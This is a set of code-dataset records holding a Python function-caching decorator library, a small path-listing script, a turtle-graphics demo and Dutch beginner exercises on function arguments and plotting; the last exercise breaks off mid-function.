+{"seq_id":"17105156347","text":"\nfrom multiprocessing.sharedctypes import Value\nimport re\nimport os\nimport sys\nimport json\nimport uuid\nimport pickle\n\nimport humanize\nimport datetime\nimport inspect\nimport logging\nfrom time import time\nfrom functools import wraps\nfrom datetime import datetime\nfrom typing import Tuple, Callable, Union, Dict, List, Optional\nfrom .utils import (\n    get_params, parse_time, random_string, get_format_groups, \n    get_next_format_group, get_function_name,\n)\nfrom .backends import Backend\n\n# Dictionary are not hashable and the python hash is not consistent\n# between runs so we have to use an external dictionary hashing package\n# else we will not be able to load the saved caches.\nfrom dict_hash import sha256, Hashable\n\nlog_levels = {\n    \"debug\":logging.DEBUG,\n    \"info\":logging.INFO,\n    \"warn\":logging.WARN,\n    \"warning\":logging.WARNING,\n    \"error\":logging.ERROR,\n    \"critical\":logging.CRITICAL,\n    \"crit\":logging.CRITICAL,\n}\n\ndef cache(function):\n    \"\"\"Cache with default parameters\"\"\"\n    return Cache()(function)\n\n\nclass Cache:\n    def __init__(\n        self,\n        cache_path: Union[str, Tuple[str], List[str], Dict[str, str]] = \"{cache_dir}/{function_name}/{_hash}.pkl\",\n        args_to_ignore: Tuple[str] = (),\n        cache_dir: Optional[str] = None,\n        validity_duration: Union[int, str] = -1,\n        use_source_code: bool = True,\n        use_approximated_hash: bool = False,\n        log_level: str = \"critical\",\n        log_format: str = '%(asctime)-15s [%(levelname)s]: %(message)s',\n        backup_path: Optional[str] = None,\n        backup: bool = True,\n        optional_path_keys: Optional[List[str]] = None,\n        dump_kwargs:dict = {},\n        load_kwargs:dict = {},\n        enable_cache_arg_name: Optional[str] = None,\n        capture_enable_cache_arg_name: bool = True,\n    ):\n        \"\"\"\n        Cache the results of a function (or method).\n\n        Example:\n        ```\n        from cache_decorator import Cache\n        @Cache()\n        def test(x):\n            return 2 * x\n        ```\n\n        Arguments\n        ---------\n        cache_path: Union[str, Tuple[str], List[str], Dict[str, str]] = \"{cache_dir}/{function_name}/{_hash}.pkl\",\n            Where to save the caches.\n            It's a string format and the available variables are\n            `cache_dir` the directory specified in the other argument.\n            `function_name` the name of the cached function.\n            `args_to_ignore` which arguments can be ignored form the input.\n            `args` the name of the arguments (both positional and keyword).\n            `defaults` the default values of the positional arguments.\n            `kwonlydefaults` the default values of the kwarguments.\n            `source` if `use_source_code` is setted to true, it's the string \n                with the source code of the function to cache.\n            `_hash` it's the hash of the parameters (excluded the ignored ones),\n                this is computed only if it's present in `cache_path` so\n                it's possible to cache functions which take non-hashable arguments.\n            Moreover, you can use any argument passed to the function.\n            Example:\n            ```\n            from cache_decorator import Cache\n            @Cache(\"{cache_dir}/{x}/{y}.pkl)\n            def test(x, y):\n                return x * y\n            ```\n            The extension used in the format string determines the serialization method.\n            The available ones are `.json .json.gz .json.bz .json.lzma .pkl .pkl.gz .pkl.bz \n            .pkl.lzma .pkl.zip .npy .npz .csv .csv.gz .csv.bz2 .csv.zip .csv.xz .xlsx`\n            This can also be used to make multiple arguments use the same cache:\n            Example:\n            ```\n            from cache_decorator import Cache\n            @Cache(\"{cache_dir}/{x}.pkl)\n            def test(x, y):\n                return x * y\n            ```\n            In this case the cache will be used watching only the `x` variable and\n            the `y` is ignored. so `test(1, 2)` and `test(1, 10000)` will use the same\n            cache (even if that's not right!). This can be used to save human readable \n            partial results, in any other cases you should use the `_hash`.\n        args_to_ignore: Tuple[str] = (),\n            Which arguments to ignore when computing the hash.\n        cache_dir: str = None,\n            The folder where to save the caches. If not specified it read the value of\n            the enviornment variable `CACHE_DIR`. If even this is empty it defaults to\n            \"./cache\". This value is substituted in the `cache_path` argument if present.\n        validity_duration: Union[int, str] = None,\n            If not None, the cache will be recomputed after the specified ammount of time.\n            This is done by saving a json with the same name of the cache plus `_time.json` which contains the \n            computation epoch.\n            If `validity_duration` is specified and a cache does not have it's json file, it's considered invalid.\n            The given time must be an integer in seconds or a string in the format (\\d+[smhdw]) to specify \n            a given ammount of s(econds), m(inutes), h(ours), d(ays), w(eeks). \n        use_source_code: bool = True,\n            If in the computing of the hash the must also use the sourcecode of the cached function.\n        use_approximated_hash: bool = False,\n            `dict_hash` exposes an `use_approximation` arg that allows for faster\n            hashes at the cost of less precision because it only hashes part\n            of the big parameters like big dataframes of numpy arrays.\n        log_level: str = \"critical\",\n            Set the logger level to the wanted level. The usable levels are:\n            [\"debug\", \"info\", \"warning\", \"error\", \"critical\"]\n            Alternatively a reference to the logger can be obtained with\n            `logging.getLogger(\"cache.\" + function.__name__)`\n            so it possible to fully customize it, like set the level and add filehandlers.\n            Example:\n            ```\n            import logging\n            from cache_decorator import Cache\n            @Cache()\n            def test(x):\n                return 2 * x\n            logger = logging.getLogger(\"cache.test\")\n            logger.setLevel(logging.DEBUG)\n            ```\n        log_format: str = '%(asctime)-15s[%(levelname)s]: %(message)s'\n            Formatting of the default logger on stderr. Informations on how the formatting works can be found at\n            https://docs.python.org/3/library/logging.html . Moreover, as explained in the log_level, you can get\n            a referfence to the logger and fully customize it.\n        backup_path: str = None,\n            If the serialization fails, the decorator will try to save the computed result as a pickle.\n            This parameter is the formatter for the path where to save the backup result.\n            If it's None, it will use the same path of the cache and append `_backup.pkl` at the end.\n            This will never overwrite any file, so if a file at the current path is present, a random path will be\n            generated.\n            For this reason in the formatter you can use any variable such as {cache_dir}, {cache_path}, or the arguments\n            of the function. Moreover, there is also another two additional parameters, {_date} which is the date of the backup, and {_rnd} which is a random string that will \n            guarantee that no file has the same name.  \n        backup: bool = True,\n            If the cache should backup the result to a .pkl in case of exception during the serializzation.\n            This flag is mainly for debug pourpouses.\n        optional_path_keys: Optional[List[str]] = None\n            This argument can be used only if the cache_path is a Dict, otherwise we will raise an\n            exception. Otherwise, if the cache_path is a Dict, this is the list of keys that are\n            optional to dump and/or load. This is used to cache results with possibly\n            missing keys.\n        enable_cache_arg_name: Optional[str] = None,\n            This paramer specify the name of a boolean argument that, if given\n            to the cached function, will enable or disable the caching \n            dynamically. If the argument is not passed the cache will be \n            enabled by default. This argument, if passed, will automatically be\n            added to the `args_to_ignore` so that it doesn't ruin the caching.\n            Currently, this can **only** be a kwarg, in future releases I will\n            implement it also for args.\n        capture_enable_cache_arg_name: bool = True,\n            If this parameter is set, the cache will capture the enable cache arg\n            and NOT pass it to the decorated function.\n        \"\"\"\n        self.log_level = log_level\n        self.log_format = log_format\n        self.args_to_ignore = list(args_to_ignore)\n        self.use_source_code = use_source_code\n        self.validity_duration = parse_time(validity_duration)\n        self.use_approximated_hash = use_approximated_hash\n\n        self.cache_path = cache_path\n        self.is_backup_enabled = backup\n        self.backup_path = backup_path\n        self.cache_dir = cache_dir or os.environ.get(\"CACHE_DIR\", \"./cache\")\n\n        self.load_kwargs, self.dump_kwargs = load_kwargs, dump_kwargs\n        self.enable_cache_arg_name = enable_cache_arg_name\n        self. capture_enable_cache_arg_name = capture_enable_cache_arg_name\n\n        self.optional_path_keys = optional_path_keys\n\n        if self.optional_path_keys is None:\n            self.optional_path_keys = list()\n        else:\n            if not isinstance(self.cache_path, dict):\n                raise ValueError((\n                    \"The argument `optional_path_keys` with value '{}' has no \"\n                    \"meaning if the `cache_path` isn't a dict. `cache_path`='{}'\"\n                ).format(self.optional_path_keys, self.cache_path))\n\n        self._check_path_sanity(cache_path)\n\n    def _check_path_sanity(self, path: Union[str, Tuple[str], List[str], Dict[str, str]]):\n        \"\"\"Check that at least one backend exists that can handle the given path.\n        This is just a quality of life check to raise an exception early and not\n        after the computation is done.\"\"\"\n        test_bk = Backend({}, {})\n        if isinstance(path, str):\n            if not test_bk.support_path(path):\n                raise ValueError((\n                    \"There is not backend that can support the path '{}'. \"\n                    \"The available extensions are '{}'.\"\n                ).format(path, test_bk.get_supported_extensions()))\n        elif isinstance(path, list) or isinstance(path, tuple):\n            for sub_path in path:\n                self._check_path_sanity(sub_path)\n        elif isinstance(path, dict):\n            for arg, sub_path in path.items():\n                self._check_path_sanity(sub_path)\n            \n            missing_keys = set(self.optional_path_keys) - set(path.keys())\n            if len(missing_keys) != 0:\n                raise ValueError((\n                    \"The `cache_path` dictionary is missing some keys defined in \"\n                    \"the `optional_path_keys` arg. Specifically: {}\"\n                ).format(missing_keys))\n        else:\n            raise ValueError((\n                    \"Sorry, the path '{}' is not in one of the supported formats.\"\n                    \"We support a string, a list, tuple, or dict of paths.\"\n                ).format(path)\n            )\n\n    @staticmethod\n    def store(obj, path: str) -> None:\n        \"\"\"Store an object at a path, this automatically choose the correct backend.\n        \n        Arguments\n        ---------\n            obj: Object,\n                The object to store\n            path: str,\n                Where to store the file, based on its extension it will choose the correct backend.\n        \"\"\"\n        dirname = os.path.dirname(os.path.abspath(path))\n        if dirname != \"\":\n            os.makedirs(dirname, exist_ok=True)\n        Backend({}, {}).dump(obj, path)\n\n    @staticmethod\n    def load(path: str):\n        \"\"\"\n        Load an object from a file, this automatically choose the correct backend.\n        \n        Arguments\n        ---------\n            path: str,\n                The path to the file to load file, based on its extension it will choose the correct backend.\n\n        Returns\n        -------\n        The loaded object.\n        \"\"\"\n        return Backend({}, {}).load({}, path)\n\n    @staticmethod\n    def compute_path(function: Callable, *args, **kwargs) -> str:\n        \"\"\"Return the path that a file would have if the given function\n            woule be called with the given arguments.\n\n        \"\"\"\n        # If we are dealing with a cached function then unpack it:\n        if \"__cached_function\" not in dir(function):\n            raise ValueError(\"You cannot compuite the path of a function which is not decorated with the Cache decorator.\")\n\n        instance = getattr(function, \"__cacher_instance\")\n        function = getattr(function, \"__cached_function\")\n\n        return instance._get_formatted_path(args, kwargs, function_info=instance._compute_function_info(function))\n\n\n    def _compute_function_info(self, function: Callable):\n        function_args_specs = inspect.getfullargspec(function)\n\n        function_info = {\n            # Name of the function\n            \"function_name\": get_function_name(function),\n            # Arguments names\n            \"args\": function_args_specs.args or [],\n            \"defaults\": function_args_specs.defaults or [],\n            \"kwonlydefaults\": function_args_specs.kwonlydefaults or {},\n            \"args_to_ignore\": self.args_to_ignore,\n        }\n\n        if self.use_source_code:\n            # Get the sourcode of the funciton\n            # This will be used in the hash so that old\n            # Caches will not be loaded\n            function_info[\"source\"] = \"\".join(\n                inspect.getsourcelines(function)[0]\n            )\n\n        return function_info\n\n    def _backup(self, result, path, exception, args, kwargs):\n        \"\"\"This function handle the backupping of the data when an the serialization fails.\"\"\"\n\n        # Check if it's a structured path\n        if isinstance(path, list) or isinstance(path, tuple):\n            return self._backup(result, path[0], exception, args, kwargs)\n                \n        elif isinstance(path, dict):\n            return self._backup(result, next(path.values()), exception, args, kwargs)\n\n        date = datetime.now().strftime(\"%Y_%m_%d_%H_%M_%S\")\n        # Ensure that the we won't overwrite anything\n        while True:\n            # Generate a new random value\n            rnd = random_string(40) # hardcoded length but if they are enough for git it's enough for us.\n            backup_path = self._get_formatted_path(\n                args, kwargs, \n                formatter=self.backup_path,\n                extra_kwargs={\n                    \"_date\":date, \n                    \"_rnd\":rnd,\n                    \"cache_path\":self._get_formatted_path(args, kwargs),\n                }\n            )\n            # Check for the existance\n            if os.path.exists(backup_path):\n                # If the file exists and the rnd var is not used\n                # we force it so we don't get stuck in the loop.\n                if \"{_rnd}\" not in self.backup_path:\n                    self.backup_path += \"{_rnd}\"\n                continue\n            break\n\n        # Inform the user about hte problem\n        self.logger.critical(\n            \"Couldn't save the result of the function '%s'. \"\n            \"Saving the result as a pickle at:\\n%s\"\n            \"\\nThe file was gonna be written at:\\n%s\\n\", \n            self.function_info[\"function_name\"], backup_path, path\n        )\n        # Backup the result\n        dirname = os.path.dirname(backup_path)\n        if dirname != \"\":\n            os.makedirs(dirname, exist_ok=True)\n\n        with open(backup_path, \"wb\") as f:\n            pickle.dump(result, f)\n        # Re-raise the exception\n        exception.backup_path = backup_path\n        exception.path = path\n        exception.result = result\n        return exception\n\n    def _get_metadata_path(self, path):\n        return path + \".metadata\"\n\n    def _is_cache_enabled(self, args, kwargs, inner_self = None):\n        # if enable_cache_arg_name is not defined, then forward\n        if self.enable_cache_arg_name is None:\n            return True, args, kwargs\n\n        # if the arg is in the kwargs, ez, pop the value and retrun\n        if self.enable_cache_arg_name in kwargs:\n            if self.capture_enable_cache_arg_name:\n                cache_enabled = kwargs.pop(self.enable_cache_arg_name, True)\n            else:\n                cache_enabled = kwargs[self.enable_cache_arg_name]\n            return cache_enabled, args, kwargs\n\n        # Normalize args and kwargs\n        params = get_params(self.function_info, args, kwargs)\n\n        # TODO!: implement this\n        # # if it was in the args, we need to remove it from there \n        # if self.enable_cache_arg_name in params:\n        #     cache_enabled = kwargs.pop(self.enable_cache_arg_name, True)\n        #     return cache_enabled, args, kwargs\n\n        # Add the self if we are in a method\n        if inner_self is not None:\n            params[\"self\"] = inner_self\n\n        # otherwise it's either an attribute or method call we should resolve\n\n        # Get the name of the base element and the attributes chain\n        root, *attrs = self.enable_cache_arg_name.strip(\"()\").split(\".\")\n\n        # This means that the parameter was setted but the arg wasn't passed\n        # so we should default to true\n        if root not in params:\n            return True, args, kwargs\n\n        # Get the params to use for the attributes chain\n        root = params[root]\n        \n        # Follow the attributes chain\n        for attr in attrs:                    \n            root = getattr(root, attr)\n\n        # Check if we have to call the function or not\n        if inspect.isfunction(root) or inspect.ismethod(root) or inspect.isbuiltin(root):\n            root = root()\n\n        return root, args, kwargs\n\n    def _load(self, path):\n\n        # Check if it's a structured path\n        if isinstance(path, list) or isinstance(path, tuple):\n            result = []\n            for p in path:\n                cache = self._load(p)\n\n                if cache is None:\n                    return None\n\n                result.append(cache)\n\n            if isinstance(path, tuple):\n                result = tuple(result)\n            return result\n\n        elif isinstance(path, dict):\n            result = {}\n            for key, p in path.items():\n                cache = self._load(p)\n\n                # if we couldn't load the cache\n                if cache is None:\n                    # and it's optional it's fine, go on loading the other ones\n                    if key in self.optional_path_keys:\n                        continue\n                    # else it's an error and we cannot load the required data\n                    # therefore the cache is invalid\n                    else:\n                        return None\n\n                result[key] = cache\n            return result\n\n        # Check if the cache exists and is readable\n        if not os.path.isfile(path):\n            self.logger.info(\"The cache at path '%s' does not exists.\", path)\n            return None\n\n        self.logger.info(\"Loading cache from %s\", path)\n\n        metadata_path = self._get_metadata_path(path)\n\n        # Load the metadata if present\n        if os.path.isfile(metadata_path):\n            self.logger.info(\"Loading the metadata file at '%s'\", metadata_path)\n            with open(metadata_path, \"r\") as f:\n                metadata = json.load(f)\n        else:\n            self.logger.info(\"The metadata file at '%s' do not exists.\", metadata_path)\n            # TODO: do we need to to more stuff?\n            metadata = {}\n\n        # Check if the cache is still valid\n        if self.validity_duration is not None:\n            enlapsed_time = time() - metadata.get(\"creation_time\", float(\"-inf\"))\n            if  enlapsed_time > self.validity_duration:\n                try:\n                    os.remove(path)\n                except:\n                    pass\n                return None \n\n        # actually load the values\n        return Backend(self.load_kwargs, self.dump_kwargs).load(metadata.get(\"backend_metadata\", {}), path)\n\n    def _check_return_type_compatability(self, result, path):\n        # Check if it's a structured path\n        if isinstance(path, list) or isinstance(path, tuple):\n            assert isinstance(result,list) or isinstance(result,tuple)\n            assert len(result) == len(path)\n        elif isinstance(path, dict):\n            assert isinstance(result, dict)\n            required_keys = set(path.keys()) - set(self.optional_path_keys)\n            missing_keys = required_keys - set(result.keys())\n            if len(missing_keys) != 0:\n                raise ValueError((\n                    \"The result of the cached function has keys '{}' that does \"\n                    \"not match with the required ones '{}'\"\n                ).format(result.keys(), required_keys))\n\n            extra_keys = set(result.keys()) - set(path.keys())\n            if len(extra_keys) != 0:\n                raise ValueError((\n                    \"The result of the cached function has keys '{}' that does \"\n                    \"not appear in the defined path. In particular the the \"\n                    \"extra keys are '{}'\"\n                ).format(result.keys(), extra_keys))\n            return \n\n    def _dump(self, args, kwargs, result, path, start_time, end_time):\n        # Check if it's a structured path\n        if isinstance(path, list) or isinstance(path, tuple):\n            for r, p in zip(result, path):\n                self._dump(args, kwargs, r, p, start_time, end_time)\n            return \n        elif isinstance(path, dict):\n            for key in result.keys():\n                self._dump(args, kwargs, result[key], path[key], start_time, end_time)\n            return \n        \n\n        # Dump the file\n        self.logger.info(\"Saving the cache at %s\", path)\n        dirname = os.path.dirname(path)\n        if dirname != \"\":\n            os.makedirs(dirname, exist_ok=True)\n        dump_start_time = time()\n        backend_metadata = Backend(self.load_kwargs, self.dump_kwargs).dump(result, path) or {}\n        dump_end_time = time()\n\n        # Compute the metadata\n        metadata = {\n            # When the cache was created\n            \"creation_time\": start_time,\n            \"creation_time_human\": datetime.fromtimestamp(\n                start_time\n            ).strftime(\"%Y-%m-%d %H:%M:%S\"),\n\n            # How much the function took to compute the result\n            \"time_delta\":end_time - start_time,\n            \"time_delta_human\":humanize.precisedelta(end_time - start_time),\n\n            # How much time it took to serialize the result and save it to a file\n            \"file_dump_time\":dump_end_time - dump_start_time,\n            \"file_dump_time_human\":humanize.precisedelta(\n                dump_end_time - dump_start_time\n            ),\n\n            # How big is the serialized result\n            \"file_dump_size\":os.path.getsize(path),\n            \"file_dump_size_human\":humanize.naturalsize(os.path.getsize(path)),\n\n            # The arguments used to load and dump the file\n            \"load_kwargs\":self.load_kwargs,\n            \"dump_kwargs\":self.dump_kwargs,\n\n            # Informations about the function\n            \"function_name\":self.function_info[\"function_name\"],\n            \"function_file\":\"%s:%s\"%(\n                self.decorated_function.__code__.co_filename,\n                self.decorated_function.__code__.co_firstlineno\n            ),\n            \"args_to_ignore\":self.function_info[\"args_to_ignore\"],\n            \"source\":self.function_info.get(\"source\", None),\n\n            # The data reserved for the backend to corretly serialize and \n            # de-serialize the values\n            \"backend_metadata\":backend_metadata,\n        }\n\n        params = {}\n        for key, val in get_params(self.function_info, args, kwargs).items():\n            if key in self.args_to_ignore:\n                continue\n\n            try:\n                # Check if it's json serializable\n                json.dumps(val)\n                params[key] = val\n            except:\n                pass\n\n\n        metadata[\"parameters\"] = params\n\n        metadata_path = self._get_metadata_path(path)\n        self.logger.info(\"Saving the cache meta-data at %s\", metadata_path)\n        with open(metadata_path, \"w\") as f:\n            json.dump(metadata, f, indent=4)\n\n\n    def _decorate_function(self, function: Callable) -> Callable:\n        # wraps to support pickling\n        @wraps(function)\n        def wrapped(*args, **kwargs):\n            cache_enabled, args, kwargs = self._is_cache_enabled(args, kwargs)\n            \n            # if the cache is not enabled just forward the call\n            if not cache_enabled:\n                self.logger.info(\"The cache is disabled\")\n                result = function(*args, **kwargs)\n                self._check_return_type_compatability(result, self.cache_path)\n                return result\n\n            # Get the path\n            path = self._get_formatted_path(args, kwargs)\n\n            # Try to load the cache\n            result = self._load(path)\n            # if we got a result, reutrn it\n            if result is not None:\n                return result\n            \n            self.logger.info(\"Computing the result for %s %s\", args, kwargs)\n            # otherwise compute the result\n            start_time = time()\n            result = function(*args, **kwargs)\n            end_time = time()\n\n            # Save the result\n            try:\n                self._check_return_type_compatability(result, path)\n                self._dump(args, kwargs, result, path, start_time, end_time)\n            except Exception as e:\n                if self.is_backup_enabled:\n                    raise self._backup(result, path, e, args, kwargs)\n                raise e\n\n            return result\n\n        # add a reference to the cached function so we can unpack\n        # The caching if needed\n        setattr(wrapped, \"__cached_function\", function)\n        setattr(wrapped, \"__cacher_instance\", self)\n        return wrapped\n\n    def _decorate_method(self, function: Callable) -> Callable:\n        # wraps to support pickling\n        @wraps(function)\n        def wrapped(self, *args, **kwargs):\n            cache_enabled, args, kwargs = self._is_cache_enabled(args, kwargs, inner_self=self)\n            \n            # if the cache is not enabled just forward the call\n            if not cache_enabled:\n                self.logger.info(\"The cache is disabled\")\n                result = function(self, *args, **kwargs)\n                self._check_return_type_compatability(result, self.cache_path)\n                return result\n\n            # Get the path\n            path = self._get_formatted_path(args, kwargs, inner_self=self)\n\n            # Check that the self is actually hashable\n            if not issubclass(self, Hashable):\n                raise ValueError(\"Could not has self of class `{}` because it doesn't implement Hashable (from dict_hash).\".format(self.__class__.__name__))\n\n            # Try to load the cache\n            result = self._load(path)\n            # if we got a result, reutrn it\n            if result is not None:\n                return result\n            \n            self.logger.info(\"Computing the result for %s %s\", args, kwargs)\n            # otherwise compute the result\n            start_time = time()\n            result = function(*args, **kwargs)\n            end_time = time()\n\n            # Save the result\n            try:\n                self._check_return_type_compatability(result, path)\n                self._dump(args, kwargs, result, path, start_time, end_time)\n            except Exception as e:\n                if self.is_backup_enabled:\n                    raise self._backup(result, path, e, args, kwargs)\n                raise e\n\n            return result\n\n        # add a reference to the cached function so we can unpack\n        # The caching if needed\n        setattr(wrapped, \"__cached_function\", function)\n        setattr(wrapped, \"__cacher_instance\", self)\n        return wrapped\n\n    def _get_formatted_path(self, args, kwargs, formatter=None, function_info=None, extra_kwargs=None, inner_self=None) -> str:\n        \"\"\"Compute the path adding and computing the needed arguments.\"\"\"        \n        formatter = formatter or self.cache_path\n\n        if isinstance(formatter, list):\n            return [\n                self._get_formatted_path(args, kwargs, f)\n                for f in formatter\n            ]\n\n        if isinstance(formatter, tuple):\n            return tuple([\n                self._get_formatted_path(args, kwargs, f)\n                for f in formatter\n            ])\n\n        elif isinstance(formatter, dict):\n            return {\n                key:self._get_formatted_path(args, kwargs, v)\n                for key, v in formatter.items()\n            }\n\n        extra_kwargs = extra_kwargs or {}\n\n        function_info = function_info or self.function_info\n        params = get_params(function_info, args, kwargs)\n        groups = get_format_groups(formatter)\n        groups_set = {match.str_match for match in groups}\n\n        if \"_hash\" in groups_set:\n            data = {\"params\": params, \"function_info\": function_info}\n\n            if inner_self is not None: \n                data[\"self\"] = inner_self\n\n            params[\"_hash\"] = sha256(data, use_approximation=self.use_approximated_hash)\n\n        self.logger.debug(\"Got parameters %s\", params)\n\n        format_args = {\n            **params,\n            **function_info,\n            **extra_kwargs,\n            \"cache_dir\":self.cache_dir,\n        }\n\n        new_formatter = \"\"\n        old_formatter = formatter\n        # Handle the composite paths\n        while len(old_formatter) != 0:\n            new_match, formatter_remainder = get_next_format_group(old_formatter)\n\n            # there are no more matches just append the remainder\n            if new_match is None:\n                new_formatter += formatter_remainder\n                break\n            \n            # check if we should call the value or not\n            if new_match.str_match.endswith(\"()\"):\n                new_match.str_match  = new_match.str_match[:-2]\n                # Get the name of the base element and the attributes chain\n                root, *attrs = new_match.str_match.split(\".\")\n                # Get the params to use for the attributes chain\n                root = format_args[root]\n\n                # Follow the attributes chain\n                for attr in attrs:                    \n                    root = getattr(root, attr)\n\n                # Check if we have to call the function or not\n                if inspect.isfunction(root) or inspect.ismethod(root) or inspect.isbuiltin(root):\n                    root = root()\n\n                sub = str(root)\n            else:\n                sub = \"{\" + new_match.str_match + \"}\"\n\n            new_formatter += old_formatter[:new_match.start]\n            new_formatter += sub\n            old_formatter = formatter_remainder\n\n        path = new_formatter.format(\n            **format_args,\n        )\n        self.logger.debug(\"Calculated path %s\", path)\n        return path\n\n    def _fix_docs(self, function: Callable, wrapped: Callable) -> Callable:\n        # Copy the doc of decoreated function\n        wrapped.__doc__ = function.__doc__\n        # Copy the name of the function and add the suffix _cached\n        wrapped.__name__ = get_function_name(function) + \"_cached\"\n        return wrapped\n\n    def decorate(self, function: Callable) -> Callable:\n        self.function_info = self._compute_function_info(function)\n        self.decorated_function = function\n\n        if inspect.ismethod(function):\n            wrapped = self._decorate_method(function)\n        else:\n            wrapped = self._decorate_function(function)\n\n        wrapped = self._fix_docs(function, wrapped)\n        return wrapped\n\n    def __call__(self, function):\n        self.logger = logging.getLogger(__name__ + \".\" + get_function_name(function))\n        # Do not re-initialize loggers if we have to cache multiple functions\n        # with the same name\n        if not self.logger.hasHandlers():\n            handler = logging.StreamHandler(sys.stderr)\n            handler.setFormatter(logging.Formatter(self.log_format))\n            self.logger.addHandler(handler)\n\n        if self.log_level.lower() not in log_levels:\n            raise ValueError(\"The logger level {} is not a supported one. The available ones are {}\".format(\n                self.log_level.lower(),\n                list(log_levels.keys())\n            ))\n        self.logger.setLevel(log_levels[self.log_level.lower()])\n\n        return self.decorate(function)\n","repo_name":"zommiommy/cache_decorator","sub_path":"cache_decorator/cache.py","file_name":"cache.py","file_ext":"py","file_size_in_byte":33235,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"21"}
+{"seq_id":"28387427911","text":"# -*- encoding: utf-8 -*-\n# Author: hushukai\n\nimport os\n\nfrom util import check_or_makedirs\nfrom config import CHAR_IMGS_DIR, CHAR_TFRECORDS_DIR\nfrom config import CHAR_IMAGE_PATHS_FILE, CHAR_TFRECORDS_PATHS_FILE\n\n\ndef extract_annotation(imgs_dir=None, tfrecords_dir=None, dest_file=None):\n    assert [imgs_dir, tfrecords_dir].count(None) == 1\n    \n    check_or_makedirs(os.path.dirname(dest_file))\n    with open(dest_file, \"w\", encoding=\"utf-8\") as fw:\n        if imgs_dir is not None:\n            for root, dirs, files_list in os.walk(imgs_dir):\n                if len(files_list) > 0:\n                    for file_name in files_list:\n                        if file_name.lower()[-4:] in (\".gif\", \".jpg\", \".png\"):\n                            image_path = os.path.join(root, file_name)\n                            fw.write(image_path + \"\\n\")\n        \n        elif tfrecords_dir is not None:\n            assert os.path.exists(tfrecords_dir)\n            for file in os.listdir(tfrecords_dir):\n                if file.endswith(\".tfrecords\"):\n                    file_path = os.path.join(tfrecords_dir, file)\n                    fw.write(file_path + \"\\n\")\n\n\ndef main():\n    # extract_annotation(imgs_dir=CHAR_IMGS_DIR, dest_file=CHAR_IMAGE_PATHS_FILE)\n    extract_annotation(tfrecords_dir=CHAR_TFRECORDS_DIR, dest_file=CHAR_TFRECORDS_PATHS_FILE)\n\n\nif __name__ == '__main__':\n    print(\"Done !\")\n","repo_name":"yufish/Chinese-ancient-book-recognition-HSK","sub_path":"recog_with_components/extract_data.py","file_name":"extract_data.py","file_ext":"py","file_size_in_byte":1392,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"21"}
+{"seq_id":"27006327941","text":"# import turtle\r\n\r\nfrom turtle import Turtle, Screen #From the module import attribute(class)\r\n\r\n\r\n#Draw turtle graphics\r\ntimmy = Turtle() #Object = attribute\r\ntimmy.shape(\"turtle\")\r\ntimmy.color(\"DarkRed\")\r\n#Move turtle\r\ntimmy.forward(100)\r\n\r\n\r\n#Create a screen\r\nmy_screen = Screen()\r\n# print(my_screen.canvheight)\r\nmy_screen.title(\"#100 Days of Code: Day16 Turtle Graphics\")\r\nmy_screen.exitonclick()\r\n\r\nprint(timmy)","repo_name":"Vincent-Muchiri/Python-Programming","sub_path":"Turtle.py","file_name":"Turtle.py","file_ext":"py","file_size_in_byte":416,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"35108414832","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Dec 10 13:34:54 2020\n\n@author: merel\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n#%%\n#5.2.1 Opdracht: Extra argumenten\n\n# Rechte lijn\ndef f(x,a,b):\n    return a+b*x\n\n# Sinus\ndef g(x,amp,freq,offset):\n    return offset + amp*np.sin(freq*x)\n\n#Polynoom\ndef h(x,y,b,c):\n    return b*x**2 + c*y**3 \n\n## Simpele plotfunctie\n# plot functie \"func\" over range \"x\"\n# extra argumenten worden doorgegeven met *args\ndef my_plot(x,func,*args):\n    plt.plot(x,func(x,*args))\n    plt.show()\n    \n## Gebruik:\nx_arr = np.linspace(-5.,5.)\n#%%\ndef f(farg, *args, **kwargs):\n    print(\"Het formele argument is\", farg)\n    print(\"De extra argumenten zijn:\")\n    for arg in args:\n        print(arg)\n    print(\"De keyword argumenten zijn:\")\n    for key in kwargs:\n        print(\"  de key\",key,\"met argument\",kwargs[key])\n        if key == 'my_name':\n            print(\"Mijn naam is\", kwargs[key])\n            \n## Aanroepen van bovenstaande functie:\nf(\"Aap\", \"Noot\", \"Mies\", arg4=\"Wim\", my_name=\"Zus\", arg5=\"Merel\")\n# in bovenstaande aanroep zijn:\n# Formeel argument   \"Aap\"\n# Extra   argumenten \"Noot\" en \"Mies\"\n# Keyword argumenten \"Wim\" bij keyword arg4, en \"Zus\" bij my_name\n#%%\n#5.4.1 Opdracht: Argumenten aan functies sturen\ndef f(a,b,c):\n    print(\"a:\",a)\n    print(\"b:\",b)\n    print(\"c:\",c)\n\"\"\"    \n# Normaal aanroepen:\nf(\"Aap\",\"Noot\",\"Mies\")\n\n# Met *args\nargs = (\"Noot\",\"Mies\")\nf(\"Aap\",*args)\n\n# Met **kwargs\nkwargs = {\"c\" : \"Noot\",\"b\" : \"Mies\"} # Dit is een nieuw type object: dictionary\nf(\"Aap\",**kwargs)\n\"\"\"\n# Mix van beide, let op de volgorde!\nargs = (\"Mies\",)\nkwargs = {\"c\" : \"Noot\"}\nf(\"Aap\",*args,**kwargs)\n\n#%%\n#5.4.2 Opdracht: Plotten\n\ndef h(x,y):\n    z = x*y\n    return z \n\nk = h(x_arr,3)\n\nsig_x = [0,0.05,0.05,0.05,0.05,0.05]\nsig_y = [0.03] *6\n \n\ndef my_plot(x,y, xlabel, ylabel,xerror=None, yerror=None, xrange=None, yrange=None,title=None, save=None):\n    plt.xlim(xrange)\n    plt.ylim(yrange)\n    plt.xlabel(xlabel)\n    plt.ylabel(ylabel)\n    plt.title(title)\n    plt.errorbar(x,y, xerr = xerror, yerr = yerror)\n    if save == None:\n        plt.show()\n    elif type(save) == str:\n        plt.savefig(save + \".png\")\n    else:\n        print(\"Save moet een string zijn\")\n\n\nx_arr = [0,1,2,3,4,5] \nx_arr = np.array(x_arr)\n\n\ns = my_plot(x_arr,k,\"x-as\",\"y-as\",sig_x,sig_y,(0, 7),(0, 7),\"Hoi\")    \n\n#%%\n#5.4.3 Opdracht: Machtreeksen\n\nx = np.arange(0,5)\nA_n = np.arange(0,10) \n\ndef MachtReeks(x, A_n, y_0 = 0, x_0 = 0):\n    result = y_0\n    for n in range(len(A_n)): \n        result += 